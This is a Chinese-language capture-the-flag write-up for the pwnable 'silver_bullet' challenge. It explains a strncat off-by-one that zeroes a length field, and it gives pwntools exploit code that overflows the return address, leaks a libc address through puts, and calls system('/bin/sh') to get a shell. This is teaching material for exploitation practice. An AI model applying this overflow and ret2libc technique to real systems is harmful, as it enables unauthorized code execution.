1 程序分析

32 位程序,没 Canary,没开 PIE,libc 版本依旧是 2.23

1
2
3
4
5
6
7
8
9
10
(pwn) secreu@Vanilla:~/code/pwnable/silver_bullet$ checksec --file=silver_bullet
[*] '/home/secreu/code/pwnable/silver_bullet/silver_bullet'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8047000)
Stripped: No
(pwn) secreu@Vanilla:~/code/pwnable/silver_bullet$ strings libc_32.so.6 | grep "Ubuntu GLIBC"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.

又是一个菜单题,根据 menu 它是要我们用子弹打败一个怪兽,提供了 4 个选项

  1. create_bullet:创建子弹,读取用户输入到 s,最多 48 字节,strlen 得到输入的长度保存在 v8,也就是 s 之后的 4 个字节,反编译结果中的 *((_DWORD *)s + 12) 就是 v8
  2. power_up:强化子弹,其实就是追加用户输入到 s,它允许用户追加 48 - v8 个字节,用 strncat 将追加的输入拼接到原输入,v8 变为两者长度之和
  3. beat:射击,怪兽名为 ‘Gin’,血量高达 0x7fffffff,v8 大于等于这个值才能击败怪兽并 return
  4. exit(0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v5; // [esp+0h] [ebp-3Ch] BYREF
const char *v6; // [esp+4h] [ebp-38h]
char s[48]; // [esp+8h] [ebp-34h] BYREF
int v8; // [esp+38h] [ebp-4h]

init_proc();
v8 = 0;
memset(s, 0, sizeof(s));
v5 = 0x7FFFFFFF;
v6 = "Gin";
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu(v5, v6);
v3 = read_int();
if ( v3 != 2 )
break;
power_up(s);
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_15;
create_bullet(s);
}
if ( v3 == 3 )
break;
if ( v3 == 4 )
{
puts("Don't give up !");
exit(0);
}
LABEL_15:
puts("Invalid choice");
}
if ( beat(s, &v5) )
return 0;
puts("Give me more power !!");
}
}

漏洞点出在 power_up 中的 strncat,它会将两个字符串拼接结果的后一位置 0,而 s 后面紧跟着就是 v8,当我们将 s 填满 48 字节时,strncat 会将 v8 的最低字节置 0。v8 决定了我们能否继续输入以及能否 return

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
char *
STRNCAT (char *s1, const char *s2, size_t n)
{
char *s = s1;

/* Find the end of S1. */
s1 += strlen (s1);

size_t ss = __strnlen (s2, n);

s1[ss] = '\0';
memcpy (s1, s2, ss);

return s;
}

假设我们 create_bullet 时输入 47 个字符,此时 v8 = 48,然后 power_up 输入 1 个字符,strncat 拼接字符,并将 v8 置 0,然后 power_up 将追加字符的长度加到 v8 上,此时 v8 = 0 + 1 = 1,这样我们就可以继续往 s 上追加 47 字节的内容,足够我们覆盖返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl power_up(char *dest)
{
char s[48]; // [esp+0h] [ebp-34h] BYREF
size_t v3; // [esp+30h] [ebp-4h]

v3 = 0;
memset(s, 0, sizeof(s));
if ( !*dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 0x2Fu )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(s, 48 - *((_DWORD *)dest + 12));
strncat(dest, s, 48 - *((_DWORD *)dest + 12));
v3 = strlen(s) + *((_DWORD *)dest + 12);
printf("Your new power is : %u\n", v3);
*((_DWORD *)dest + 12) = v3;
return puts("Enjoy it !");
}

漏洞实际上是下面 2 行共同的结果,如果是直接用 strlen(dest) 计算拼接之后的长度,也不会导致溢出

1
2
strncat(dest, s, 48 - *((_DWORD *)dest + 12));
v3 = strlen(s) + *((_DWORD *)dest + 12);

2 漏洞利用

基本思路是先做一次溢出返回地址,泄露 GOT 表上的 puts 地址,从而拿到 libc 基址,然后再做一次溢出返回地址,执行 system

2.1 泄露 Libc

create_bullet 输入 47 个字符,然后 power_up 输入 1 个字符,此时 v8 = 1,然后就可以继续 power_up 溢出到返回地址

off_by_bull

要保证 v8 大于等于 0x7fffffff,这样才能通过 beat 执行 return,所以 v8 的高 3 字节写 ‘\xff’。还要注意 strncat 会调用 __strnlen 计算追加输入的长度,所以不能有 ‘\x00’ 出现。我们执行 puts(puts_got),然后返回 main

1
2
3
4
5
6
7
8
9
10
11
12
13
create_bullet(b'A'* 0x2f)
power_up(b'B')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

leak_puts = b'\xff' * 3 + b'AAAA' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
power_up(leak_puts)
beat()
io.recvuntil(b'Oh ! You win !!\n')
puts_addr = u32(io.recv(4))
log.info(f'puts_addr: {hex(puts_addr)}')

leak_libc

2.2 获取 Shell

重复一遍上面的操作,只不过这次执行 system('/bin/sh'),返回到哪里无所谓

1
2
3
4
5
6
7
8
9
10
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

create_bullet(b'A'* 0x2f)
power_up(b'B')
getshell = b'\xff' * 3 + b'AAAA' + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
power_up(getshell)
beat()
io.interactive()

getshell